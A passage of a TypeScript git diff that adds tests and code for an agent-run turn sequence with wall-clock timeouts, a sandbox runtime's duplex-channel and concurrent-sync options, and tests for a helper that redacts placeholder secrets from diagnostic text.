+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-transports",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir },
+      context: {},
+      onLog: async (stream: "stdout" | "stderr", text: string) => {
+        logs.push({ stream, text });
+      },
+      onMeta: async () => {},
+      onEvent: async (event: { eventType: string; payload?: Record<string, unknown> }) => {
+        events.push(event);
+      },
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    // Transport 1 — the stdout transcript carries the text_delta as an acpx record.
+    expect(logs).toContainEqual({
+      stream: "stdout",
+      text: `${JSON.stringify({
+        type: "acpx.text_delta",
+        text: "streamed hello",
+        channel: "output",
+        tag: "agent_message_chunk",
+      })}\n`,
+    });
+    // The joined text also lands in the result summary.
+    expect(result.summary).toBe("streamed hello");
+    // Transport 2 — the structured onEvent stream reflects the run bring-up
+    // sequence as run.startup.step events, including the acp handshake.
+    const steps = events.filter((event) => event.eventType === "run.startup.step");
+    const stepNames = steps.map((event) => String(event.payload?.step));
+    expect(stepNames).toContain("acp.handshake");
+    expect(stepNames).toContain("workspace.resolve");
+  });
+
+  it("aborts a hung turn on the wall-clock timer and cancels with the timeout message", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const cwd = path.join(root, "worktree");
+    await fs.mkdir(cwd, { recursive: true });
+
+    const cancelReasons: string[] = [];
+    let releaseTurn: (() => void) | null = null;
+    const turnCancelled = new Promise<void>((resolve) => {
+      releaseTurn = resolve;
+    });
+
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        turnRuntime({
+          // The stream never yields on its own. Only the wall-clock timer's cancel
+          // unblocks it, simulating a hung run.
+          events: async function* () {
+            await turnCancelled;
+          },
+          result: turnCancelled.then(() => ({ status: "cancelled", stopReason: "cancelled" })),
+          onCancel: (reason) => {
+            cancelReasons.push(reason);
+            releaseTurn?.();
+          },
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-timeout",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd, timeoutSec: 1 },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    const expectedMessage =
+      "Run exceeded the adapter execution timeout (timeoutSec=1, configured via adapterConfig.timeoutSec). " +
+      "Set adapterConfig.timeoutSec to raise it.";
+    expect(result.timedOut).toBe(true);
+    expect(result.signal).toBe("SIGTERM");
+    expect(result.errorCode).toBe("acpx_timeout");
+    expect(result.errorMessage).toBe(expectedMessage);
+    // The cancel ran with the formatted timeout message.
+    expect(cancelReasons).toContain(expectedMessage);
+  }, 15_000);
+
+  it("cancels the turn before closing the runtime when the turn throws", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const order: string[] = [];
+
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        turnRuntime({
+          // The event stream throws mid-turn, so the catch path runs teardown.
+          events: async function* () {
+            throw new Error("turn boom");
+          },
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+          onCancel: () => order.push("cancel"),
+          onClose: () => order.push("close"),
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-throw",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    // A failure after startTurn returned reports phase "turn".
+    expect((result.resultJson as Record<string, unknown>)?.phase).toBe("turn");
+    // Cancel runs before close, in that exact order.
+    expect(order).toEqual(["cancel", "close"]);
+  });
+
+  it("retries the session resume once and never retries the turn", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const cwd = path.join(root, "worktree");
+    await fs.mkdir(cwd, { recursive: true });
+    const config = { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd };
+
+    const ensureInputs: Array<Record<string, unknown>> = [];
+    let startTurnCalls = 0;
+    let resumeLogged = false;
+
+    // A first clean run mints the session params the second run resumes from.
+    const firstExecute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        turnRuntime({
+          onEnsureSession: (session) => ensureInputs.push(session),
+          onStartTurn: () => {
+            startTurnCalls += 1;
+          },
+          events: async function* () {
+            yield { type: "done", stopReason: "end_turn" };
+          },
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+        }) as never,
+    });
+    const first = await firstExecute({
+      runId: "run-resume-a",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+    expect(first.exitCode).toBe(0);
+
+    // The second run resumes. Its first ensureSession (the resume) fails with a
+    // resume-shaped error; the fresh retry (no resumeSessionId) succeeds.
+    const secondExecute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        turnRuntime({
+          ensureSession: async (session: Record<string, unknown>) => {
+            ensureInputs.push(session);
+            if (session.resumeSessionId) {
+              throw new Error("resume session not found");
+            }
+            return {
+              backendSessionId: "backend-session",
+              agentSessionId: "agent-session",
+              runtimeSessionName: "runtime-session",
+            };
+          },
+          onStartTurn: () => {
+            startTurnCalls += 1;
+          },
+          events: async function* () {
+            yield { type: "done", stopReason: "end_turn" };
+          },
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+        }) as never,
+    });
+    const second = await secondExecute({
+      runId: "run-resume-b",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: { sessionParams: (first as { sessionParams?: unknown }).sessionParams },
+      config,
+      context: {},
+      onLog: async (_stream: string, text: string) => {
+        if (text.includes("is unavailable; retrying with a fresh session")) resumeLogged = true;
+      },
+      onMeta: async () => {},
+    } as never);
+
+    expect(second.exitCode).toBe(0);
+    // The first run's single ensureSession, plus the second run's resume and
+    // fresh retry, make three ensureSession calls total; two on the second run.
+    expect(ensureInputs).toHaveLength(3);
+    expect(ensureInputs[1]?.resumeSessionId).toBe(first.sessionId);
+    expect(ensureInputs[2]?.resumeSessionId).toBeUndefined();
+    // The turn is never retried: one startTurn per run, two across both runs.
+    expect(startTurnCalls).toBe(2);
+    // The engine logged the resume fallback.
+    expect(resumeLogged).toBe(true);
+    // The fresh retry clears the stale session for the caller.
+    expect(second.clearSession).toBe(true);
+  });
+
+  it("maps a failed terminal to acpx_turn_failed and folds in the reported usage", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        turnRuntime({
+          events: async function* () {
+            yield {
+              type: "status",
+              text: "usage",
+              tag: "usage_update",
+              cost: { amount: 0.31, currency: "USD" },
+              breakdown: { inputTokens: 40, outputTokens: 700, cachedReadTokens: 60 },
+            };
+            yield { type: "done", stopReason: "failed" };
+          },
+          result: Promise.resolve({ status: "failed", error: new Error("boom") }),
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-failed",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.errorCode).toBe("acpx_turn_failed");
+    // The failed error message becomes the terminal stop reason and the summary.
+    expect(result.summary).toBe("boom");
+    expect((result.resultJson as Record<string, unknown>)?.stopReason).toBe("boom");
+    // The usage math folds the usage_update event into per-run usage and cost.
+    expect(result.usage).toEqual({ inputTokens: 40, outputTokens: 700, cachedInputTokens: 60 });
+    expect(result.usageBasis).toBe("per_run");
+    expect(result.costUsd).toBeCloseTo(0.31);
+  });
+
+  it("computes usage the same way summarizeAcpxTurnUsage does for the event fallback", () => {
+    // Pin the exported helper the turn path calls: with no getStatus snapshots the
+    // event breakdown and cost drive the per-run usage.
+    const summary = summarizeAcpxTurnUsage({
+      preStatus: null,
+      postStatus: null,
+      eventBreakdown: { inputTokens: 40, outputTokens: 700, cachedReadTokens: 60 },
+      eventCostUsd: 0.31,
+    });
+    expect(summary.usage).toEqual({ inputTokens: 40, outputTokens: 700, cachedInputTokens: 60 });
+    expect(summary.costUsd).toBeCloseTo(0.31);
+  });
+
+  it("returns a prepare_turn error result when the prompt build throws", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    let startTurnCalls = 0;
+    let closes = 0;
+
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        turnRuntime({
+          onStartTurn: () => {
+            startTurnCalls += 1;
+          },
+          onClose: () => {
+            closes += 1;
+          },
+          events: async function* () {},
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+        }) as never,
+    });
+
+    // A throwing accessor on a field only buildPrompt reads makes the prompt build
+    // fail after the session handshake succeeds but before startTurn runs.
+    const context: Record<string, unknown> = {};
+    Object.defineProperty(context, "paperclipSessionHandoffMarkdown", {
+      enumerable: false,
+      get() {
+        throw new Error("prompt build boom");
+      },
+    });
+
+    const result = await execute({
+      runId: "run-prepare-fail",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir },
+      context,
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    // The pre-turn failure reports phase "prepare_turn".
+    expect((result.resultJson as Record<string, unknown>)?.phase).toBe("prepare_turn");
+    // The turn never started, and the runtime closed once.
+    expect(startTurnCalls).toBe(0);
+    expect(closes).toBe(1);
+  });
+
+  it("threads the same happy-path turn through the shared runExecutor harness", async () => {
+    // A smoke pin on the copied harness: the always-happy buildRuntime turn exits
+    // clean with the done stop reason as the summary.
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const { result } = await runExecutor({
+      agent: "custom",
+      agentCommand: "node ./fake-acp.js",
+      stateDir,
+    });
+    expect(result.exitCode).toBe(0);
+    expect(result.summary).toBe("end_turn");
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/turn-sequence.test.ts b/packages/adapter-utils/src/acpx-engine/turn-sequence.test.ts
new file mode 100644
index 00000000000..aef9c72a911
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/turn-sequence.test.ts
@@ -0,0 +1,190 @@
+import { describe, expect, it, vi } from "vitest";
+import { runTurn, type StartedTurn, type TurnFinalizeInput, type TurnSteps } from "./turn-sequence.js";
+import { createRunResourceLedger } from "./run-resource-ledger.js";
+import type { TurnCompletion } from "./run-contracts.js";
+
+// The turn sequence owns the run order, the wall-clock timer, and the abort
+// controller. These tests drive it with fakes for the five steps and assert the
+// order, the never-reject guarantee, and the timer ownership. They never touch
+// the engine's real run state.
+
+function finalizedTurn(): TurnCompletion {
+  return { kind: "finalized" };
+}
+
+function failedTurn(error: unknown): TurnCompletion {
+  return {
+    kind: "failed",
+    cause: { kind: "turn_failed", error: error instanceof Error ? error : new Error(String(error)) },
+    resources: createRunResourceLedger().takeForSettlement(),
+  };
+}
+
+function noopStarted(): StartedTurn {
+  return { cancel: async () => {} };
+}
+
+// A base set of steps whose bodies do nothing. Each test overrides the steps it
+// drives and records the calls it cares about.
+function baseSteps(order: string[], overrides: Partial<TurnSteps<string>> = {}): TurnSteps<string> {
+  return {
+    timeoutMs: overrides.timeoutMs,
+    timeoutMessage: overrides.timeoutMessage ?? "timed out",
+    promptBuild: overrides.promptBuild ?? (async () => {
+      order.push("promptBuild");
+    }),
+    preTurnUsage: overrides.preTurnUsage ?? (async () => {
+      order.push("preTurnUsage");
+    }),
+    turnStart: overrides.turnStart ?? (() => {
+      order.push("turnStart");
+      return noopStarted();
+    }),
+    eventRelay: overrides.eventRelay ?? (async () => {
+      order.push("eventRelay");
+      return "terminal";
+    }),
+    turnFinalize: overrides.turnFinalize ?? (async (input) => {
+      order.push(`turnFinalize:${input.kind}`);
+      return input.kind === "terminal" ? finalizedTurn() : failedTurn(input.error);
+    }),
+  };
+}
+
+describe("ACPX turn sequence", () => {
+  it("test_run_turn_never_rejects_every_error_is_a_completion", async () => {
+    // A step error must become a `TurnCompletion`, never a rejection. The event
+    // relay throws after the turn started, so the sequence reports a `turn`
+    // failure and returns a completion.
+    const finalizeInputs: TurnFinalizeInput<string>[] = [];
+    const boom = new Error("relay boom");
+    const steps = baseSteps([], {
+      eventRelay: async () => {
+        throw boom;
+      },
+      turnFinalize: async (input) => {
+        finalizeInputs.push(input);
+        return input.kind === "terminal" ? finalizedTurn() : failedTurn(input.error);
+      },
+    });
+
+    // The returned promise resolves; it never rejects.
+    const completion = await runTurn(steps);
+    expect(completion.kind).toBe("failed");
+    // The error routed through the one finalize step with the `turn` phase.
+    expect(finalizeInputs).toHaveLength(1);
+    expect(finalizeInputs[0]).toMatchObject({ kind: "error", error: boom, phase: "turn" });
+  });
+
+  it("test_run_turn_owns_timer_and_abort_controller", async () => {
+    vi.useFakeTimers();
+    try {
+      const captured: { signal: AbortSignal | null; cancelReason: string | null } = {
+        signal: null,
+        cancelReason: null,
+      };
+      let releaseRelay: (value: string) => void = () => {};
+      const relayPromise = new Promise<string>((resolve) => {
+        releaseRelay = resolve;
+      });
+      const finalizeInputs: TurnFinalizeInput<string>[] = [];
+      const steps = baseSteps([], {
+        timeoutMs: 1000,
+        timeoutMessage: "wall-clock timeout",
+        turnStart: (signal) => {
+          captured.signal = signal;
+          return {
+            cancel: async (reason) => {
+              captured.cancelReason = reason;
+            },
+          };
+        },
+        eventRelay: async () => relayPromise,
+        turnFinalize: async (input) => {
+          finalizeInputs.push(input);
+          return input.kind === "terminal" ? finalizedTurn() : failedTurn(input.error);
+        },
+      });
+
+      const runPromise = runTurn(steps);
+      // Let promptBuild, preTurnUsage, and turnStart run.
+      await vi.advanceTimersByTimeAsync(0);
+      expect(captured.signal?.aborted).toBe(false);
+      // Fire the wall-clock timeout the sequence owns.
+      await vi.advanceTimersByTimeAsync(1000);
+      // The sequence owns the abort controller: the shared signal is aborted...
+      expect(captured.signal?.aborted).toBe(true);
+      // ...and it cancelled the started turn with the timeout message.
+      expect(captured.cancelReason).toBe("wall-clock timeout");
+      // Complete the relay so the sequence finalizes the timed-out turn.
+      releaseRelay("terminal");
+      const completion = await runPromise;
+      expect(completion).toEqual({ kind: "finalized" });
+      // The finalize step saw the timeout flag the sequence tracked.
+      expect(finalizeInputs).toHaveLength(1);
+      expect(finalizeInputs[0]).toMatchObject({ kind: "terminal", timedOut: true });
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+
+  it("test_prompt_build_failure_is_failed_completion_with_prepare_turn", async () => {
+    // A prompt-build failure happens before the turn starts, so the sequence
+    // reports a `prepare_turn` failure and never runs the later steps.
+    const order: string[] = [];
+    const finalizeInputs: TurnFinalizeInput<string>[] = [];
+    const boom = new Error("prompt build boom");
+    const steps = baseSteps(order, {
+      promptBuild: async () => {
+        throw boom;
+      },
+      turnFinalize: async (input) => {
+        finalizeInputs.push(input);
+        return input.kind === "terminal" ? finalizedTurn() : failedTurn(input.error);
+      },
+    });
+
+    const completion = await runTurn(steps);
+    expect(completion.kind).toBe("failed");
+    expect(finalizeInputs).toHaveLength(1);
+    expect(finalizeInputs[0]).toMatchObject({ kind: "error", error: boom, phase: "prepare_turn" });
+    // The later steps never ran.
+    expect(order).not.toContain("preTurnUsage");
+    expect(order).not.toContain("turnStart");
+    expect(order).not.toContain("eventRelay");
+  });
+
+  it("test_run_turn_finalizes_no_resource", async () => {
+    // Structural proof: the sequence borrows the resources and finalizes none.
+    // The `TurnSteps` contract has no resource-release method; the sequence runs
+    // only the five ordered steps. A test-side resource whose release the
+    // sequence could never call stays untouched, and the recorded call order is
+    // exactly the five steps. The coordinator settles the resources after the
+    // turn, so a resource release inside the sequence would be a double release.
+    const order: string[] = [];
+    let released = false;
+    // A resource the sequence has no hook to release. If the sequence ever
+    // released a resource, it would have to reach one, and it cannot.
+    const borrowedResource = {
+      release: () => {
+        released = true;
+      },
+    };
+    void borrowedResource;
+
+    const steps = baseSteps(order);
+    const completion = await runTurn(steps);
+
+    expect(completion).toEqual({ kind: "finalized" });
+    // The sequence ran exactly the five ordered steps, then finalized.
+    expect(order).toEqual([
+      "promptBuild",
+      "preTurnUsage",
+      "turnStart",
+      "eventRelay",
+      "turnFinalize:terminal",
+    ]);
+    // It never released the borrowed resource.
+    expect(released).toBe(false);
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/turn-sequence.ts b/packages/adapter-utils/src/acpx-engine/turn-sequence.ts
new file mode 100644
index 00000000000..b1abf775394
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/turn-sequence.ts
@@ -0,0 +1,100 @@
+// The turn sequence.
+//
+// `runTurn(steps)` is a plain sequence. It runs five steps in a fixed order:
+// promptBuild, preTurnUsage, turnStart, eventRelay, turnFinalize. It never
+// rejects: every step error becomes a typed `TurnCompletion` through the
+// `turnFinalize` step. The sequence owns the wall-clock timer and the abort
+// controller. It borrows the run resources; it finalizes no resource. The
+// coordinator (Phase 20) settles the resources after the turn.
+//
+// The sequence is data, not a graph and not a state machine. The engine supplies
+// each step; the sequence owns only the order, the timer, and the abort signal.
+// This keeps the sequence free of the engine's private run state.
+
+import type { TurnCompletion } from "./run-contracts.js";
+
+/**
+ * A turn the site started. The sequence borrows it to cancel it on a timeout; it
+ * releases nothing. The engine's `eventRelay` step reads the events and the
+ * terminal result.
+ */
+export interface StartedTurn {
+  cancel(reason: string): Promise<void>;
+}
+
+/**
+ * The input the sequence hands to the one `turnFinalize` step. A `terminal`
+ * input carries the turn's terminal result; an `error` input carries the step
+ * error and the phase it failed in. Both carry the wall-clock timeout flag.
+ */
+export type TurnFinalizeInput<TTerminal> =
+  | { readonly kind: "terminal"; readonly terminal: TTerminal; readonly timedOut: boolean }
+  | {
+      readonly kind: "error";
+      readonly error: unknown;
+      readonly phase: "prepare_turn" | "turn";
+      readonly timedOut: boolean;
+    };
+
+/**
+ * The five steps the sequence runs, plus the timer inputs. The engine implements
+ * each step over its own run state. `turnFinalize` maps a terminal result or a
+ * step error to a `TurnCompletion`; it must not reject, so the sequence never
+ * rejects.
+ */
+export interface TurnSteps<TTerminal> {
+  /** The wall-clock timeout, in milliseconds, or undefined for no timeout. */
+  readonly timeoutMs: number | undefined;
+  /** The message the timeout cancel carries. */
+  readonly timeoutMessage: string;
+  /** Build the prompt and emit the run metadata. A failure here is `prepare_turn`. */
+  promptBuild(signal: AbortSignal): Promise<void>;
+  /** Snapshot the pre-turn usage, so this run's cost excludes earlier runs. */
+  preTurnUsage(): Promise<void>;
+  /** Start the turn with the run's six inputs. The sequence adds the signal and the timeout. */
+  turnStart(signal: AbortSignal, timeoutMs: number | undefined): StartedTurn;
+  /** Relay the turn events and return the terminal result. */
+  eventRelay(turn: StartedTurn): Promise<TTerminal>;
+  /** Map a terminal result or a step error to a `TurnCompletion`. Must not reject. */
+  turnFinalize(input: TurnFinalizeInput<TTerminal>): Promise<TurnCompletion>;
+}
+
+/**
+ * Run the turn sequence. It returns a `TurnCompletion` on every path and never
+ * rejects. A failure before `turnStart` returns is a `prepare_turn` failure; a
+ * failure after it is a `turn` failure. Only the reported phase differs.
+ */
+export async function runTurn<TTerminal>(steps: TurnSteps<TTerminal>): Promise<TurnCompletion> {
+  const controller = new AbortController();
+  let timeout: ReturnType<typeof setTimeout> | null = null;
+  let timedOut = false;
+  let started: StartedTurn | null = null;
+  // `turnStarted` separates a pre-turn preparation failure from a running-turn
+  // failure, so `turnFinalize` reports the right phase.
+  let turnStarted = false;
+  try {
+    // Build the prompt and snapshot the pre-turn usage inside the failure
+    // boundary. A failure here is a `prepare_turn` failure.
+    await steps.promptBuild(controller.signal);
+    await steps.preTurnUsage();
+    // The sequence owns the wall-clock timer. On a timeout it marks the run timed
+    // out, aborts the shared signal, and cancels the started turn. The cancel
+    // no-ops before `turnStart` returns, because `started` is still null.
+    if (steps.timeoutMs !== undefined) {
+      timeout = setTimeout(() => {
+        timedOut = true;
+        controller.abort();
+        void started?.cancel(steps.timeoutMessage).catch(() => {});
+      }, steps.timeoutMs);
+    }
+    started = steps.turnStart(controller.signal, steps.timeoutMs);
+    turnStarted = true;
+    const terminal = await steps.eventRelay(started);
+    if (timeout) clearTimeout(timeout);
+    return await steps.turnFinalize({ kind: "terminal", terminal, timedOut });
+  } catch (error) {
+    if (timeout) clearTimeout(timeout);
+    const phase: "prepare_turn" | "turn" = turnStarted ? "turn" : "prepare_turn";
+    return await steps.turnFinalize({ kind: "error", error, phase, timedOut });
+  }
+}
diff --git a/packages/adapter-utils/src/command-managed-runtime.test.ts b/packages/adapter-utils/src/command-managed-runtime.test.ts
index 859ea127582..2666d20ae78 100644
--- a/packages/adapter-utils/src/command-managed-runtime.test.ts
+++ b/packages/adapter-utils/src/command-managed-runtime.test.ts
@@ -552,6 +552,62 @@ describe("command managed runtime", () => {
     expect(native.syncOut).toBeTypeOf("function");
   });
 
+  it("base64 fallback client reports allowConcurrentSyncOperations true", () => {
+    // A runner with no native sync uses the base64 fallback, which always
+    // permits concurrent sync operations.
+    const base = makeSpawnRunner().runner;
+    const client = createCommandManagedRuntimeClient({ runner: base, commandCwd: "/", timeoutMs: 1 });
+    expect(client.allowConcurrentSyncOperations).toBe(true);
+  });
+
+  it("undeclared native runner reports allowConcurrentSyncOperations false", () => {
+    // A native runner (both sync verbs) that never opted into concurrency keeps
+    // the flag off.
+    const base = makeSpawnRunner().runner;
+    const undeclaredNative: CommandManagedRuntimeRunner = {
+      ...base,
+      syncIn: async () => ({ operations: [] }),
+      syncOut: async () => ({ operations: [] }),
+    };
+    const client = createCommandManagedRuntimeClient({
+      runner: undeclaredNative,
+      commandCwd: "/",
+      timeoutMs: 1,
+    });
+    expect(client.allowConcurrentSyncOperations).toBe(false);
+  });
+
+  it("declared native runner reports allowConcurrentSyncOperations true", () => {
+    // A native runner that verified the opt-in carries the flag through to the
+    // client.
+    const base = makeSpawnRunner().runner;
+    const declaredNative: CommandManagedRuntimeRunner = {
+      ...base,
+      allowConcurrentSyncOperations: true,
+      syncIn: async () => ({ operations: [] }),
+      syncOut: async () => ({ operations: [] }),
+    };
+    const client = createCommandManagedRuntimeClient({
+      runner: declaredNative,
+      commandCwd: "/",
+      timeoutMs: 1,
+    });
+    expect(client.allowConcurrentSyncOperations).toBe(true);
+  });
+
+  it("base64 fallback ignores a runner opt-in without both sync verbs", () => {
+    // A runner that sets the opt-in but exposes only one sync verb still uses
+    // the fallback, which permits concurrency independent of the runner flag.
+    const base = makeSpawnRunner().runner;
+    const onlyIn: CommandManagedRuntimeRunner = {
+      ...base,
+      allowConcurrentSyncOperations: true,
+      syncIn: async () => ({ operations: [] }),
+    };
+    const client = createCommandManagedRuntimeClient({ runner: onlyIn, commandCwd: "/", timeoutMs: 1 });
+    expect(client.allowConcurrentSyncOperations).toBe(true);
+  });
+
   it("test_client_syncIn_delegates_to_native_runner_with_zero_execute_calls", async () => {
     // With a native runner, `client.syncIn` forwards `files` + `postUploadCommands`
     // to the runner and issues ZERO `execute` round-trips (the provider owns the
diff --git a/packages/adapter-utils/src/command-managed-runtime.ts b/packages/adapter-utils/src/command-managed-runtime.ts
index 32e459a21fb..4c879dbf4da 100644
--- a/packages/adapter-utils/src/command-managed-runtime.ts
+++ b/packages/adapter-utils/src/command-managed-runtime.ts
@@ -18,7 +18,46 @@ import type { RunProcessResult } from "./server-utils.js";
 import type { RuntimeProgressSink, RuntimeStatusSink } from "./runtime-progress.js";
 import type { RuntimeSpanRunner } from "./acpx-engine/startup-timing.js";
 
+/**
+ * Input for a duplex channel open. The caller supplies only the command argument
+ * vector the sandbox runs as the channel child process. Element 0 is the program
+ * and the rest are its arguments. The runner adds the lease scope from its own
+ * closure. This type is separate from the worker manager's
+ * `DuplexChannelOpenInput`, which also carries the lease scope fields.
+ */
+export interface DuplexChannelOpenInput {
+  command: readonly string[];
+}
+
+/**
+ * A persistent bidirectional channel to one long-lived command in the sandbox.
+ * The caller writes raw input bytes, reads streamed output, and stops or closes
+ * the channel. This is the cross-layer channel type: the runner returns it, and
+ * the sandbox driver adapts the worker manager's host session to it.
+ */
+export interface CommandManagedDuplexChannel {
+  /** Writes raw input bytes to the channel. */
+  write(data: string): void;
+  /** Registers the one data listener. The channel streams each raw chunk in order. */
+  onData(listener: (chunk: string) => void): void;
+  /** Registers the one exit listener. The channel calls it one time with the exit. */
+  onExit(listener: (exit: { exitCode: number | null }) => void): void;
+  /** Stops the child process. Safe to call more than one time. */
+  stop(): void;
+  /** Closes the channel and releases the route. Safe to call more than one time. */
+  close(): Promise<void>;
+}
+
 export interface CommandManagedRuntimeRunner {
+  /**
+   * True when the provider verified the concurrent-sync opt-in. A native runner
+   * carries the value from the effective capability snapshot
+   * (`concurrentSyncOperations`). The client copies it onto the prepared sync
+   * client only on the native path; the base64 fallback ignores it and always
+   * permits concurrency. The default is false, so an undeclared native provider
+   * never permits concurrent sync operations.
+   */
+  allowConcurrentSyncOperations?: boolean;
   /**
    * True only when `execute({ stdin })` can surface useful in-flight progress
    * for a single stdin-backed command. Provider-backed sandbox runners usually
@@ -67,6 +106,14 @@ export interface CommandManagedRuntimeRunner {
   syncIn?(operations: SandboxSyncOperation[]): Promise<SandboxSyncResult>;
   /** Optional native outbound file transfer. See {@link syncIn}. */
   syncOut?(operations: SandboxSyncOperation[]): Promise<SandboxSyncResult>;
+  /**
+   * Optional persistent duplex channel. Present only when the sandbox provider's
+   * effective capability grants `duplexCommandStream`. The runner opens one
+   * bidirectional channel to a long-lived command in the sandbox. The SSH runner
+   * and every provider without the capability omit the member, so a caller gates
+   * on its presence in the same style as {@link syncIn}/{@link syncOut}.
+   */
+  openDuplexChannel?(input: DuplexChannelOpenInput): Promise<CommandManagedDuplexChannel>;
 }
 
 export interface CommandManagedRuntimeSpec {
@@ -446,6 +493,13 @@ export function createCommandManagedRuntimeClient(input: {
   const nativeSyncIn = input.runner.syncIn;
   const nativeSyncOut = input.runner.syncOut;
   const hasNativeBoth = Boolean(nativeSyncIn && nativeSyncOut);
+  // The base64 fallback always permits concurrent sync operations. A native
+  // runner permits them only when the provider verified the opt-in; an
+  // undeclared native provider keeps concurrency off. One flag serves both sync
+  // directions.
+  client.allowConcurrentSyncOperations = hasNativeBoth
+    ? input.runner.allowConcurrentSyncOperations === true
+    : true;
   client.syncIn = async (operations) => {
     assertPostUploadCommandsConfined(operations);
     if (hasNativeBoth) {
diff --git a/packages/adapter-utils/src/command-redaction.test.ts b/packages/adapter-utils/src/command-redaction.test.ts
new file mode 100644
index 00000000000..cbbfc8ce19c
--- /dev/null
+++ b/packages/adapter-utils/src/command-redaction.test.ts
@@ -0,0 +1,81 @@
+import { describe, expect, it } from "vitest";
+import { REDACTED_COMMAND_TEXT_VALUE, redactDiagnosticText } from "./command-redaction.js";
+
+describe("redactDiagnosticText", () => {
+  it("redacts a JSON secret field value", () => {
+    const input = '{"token":"opaque-value","status":"error"}';
+    const output = redactDiagnosticText(input);
+    expect(output).not.toContain("opaque-value");
+    expect(output).toContain(`"token":"${REDACTED_COMMAND_TEXT_VALUE}"`);
+    // The non-secret field keeps its value.
+    expect(output).toContain('"status":"error"');
+  });
+
+  it("redacts an api_key JSON field with whitespace around the colon", () => {
+    const input = '{ "api_key" : "sk-secret-123" }';
+    const output = redactDiagnosticText(input);
+    expect(output).not.toContain("sk-secret-123");
+    expect(output).toContain(REDACTED_COMMAND_TEXT_VALUE);
+  });
+
+  it("redacts an escaped-JSON secret field value", () => {
+    // A diagnostic can carry a JSON string, so the double quotes appear as `\"`.
+    const input = '{\\"token\\":\\"opaque-value\\"}';
+    const output = redactDiagnosticText(input);
+    expect(output).not.toContain("opaque-value");
+    expect(output).toContain(`\\"token\\":\\"${REDACTED_COMMAND_TEXT_VALUE}\\"`);
+  });
+
+  it("still redacts a shell KEY=value secret", () => {
+    const input = "ANTHROPIC_API_KEY=super-secret-value claude --print";
+    const output = redactDiagnosticText(input);
+    expect(output).not.toContain("super-secret-value");
+    expect(output).toContain(REDACTED_COMMAND_TEXT_VALUE);
+  });
+
+  it("keeps non-secret text and non-secret JSON fields intact", () => {
+    const input = '{"status":"ok","message":"probe finished"}';
+    expect(redactDiagnosticText(input)).toBe(input);
+  });
+
+  it("redacts the secret but keeps a non-secret marker in the same string", () => {
+    const input = 'DIAGMARKER1234 said {"authorization":"Bearer opaque"}';
+    const output = redactDiagnosticText(input);
+    expect(output).toContain("DIAGMARKER1234");
+    expect(output).not.toContain("opaque");
+  });
+
+  it("redacts a JSON secret value that contains an escaped quote", () => {
+    // The value holds an escaped quote, so a naive matcher stops at the `\"` and
+    // leaves the rest of the credential. The marker sits after the escaped quote.
+    const input = '{"token":"pre\\"MARKERQUOTE_A"}';
+    const output = redactDiagnosticText(input);
+    expect(output).not.toContain("MARKERQUOTE_A");
+    expect(output).toContain(`"token":"${REDACTED_COMMAND_TEXT_VALUE}"`);
+  });
+
+  it("redacts a JSON secret value that contains an escaped backslash", () => {
+    const input = '{"secret":"pre\\\\MARKERBACKSLASH_A"}';
+    const output = redactDiagnosticText(input);
+    expect(output).not.toContain("MARKERBACKSLASH_A");
+    expect(output).toContain(`"secret":"${REDACTED_COMMAND_TEXT_VALUE}"`);
+  });
+
+  it("redacts an escaped-JSON secret value that contains an escaped quote", () => {
+    // A diagnostic can carry a serialized JSON string, so the whole JSON is
+    // escaped a second time. The inner value still holds an escaped quote.
+    const innerJson = '{"token":"pre\\"MARKERQUOTE_B"}';
+    const input = JSON.stringify(innerJson);
+    const output = redactDiagnosticText(input);
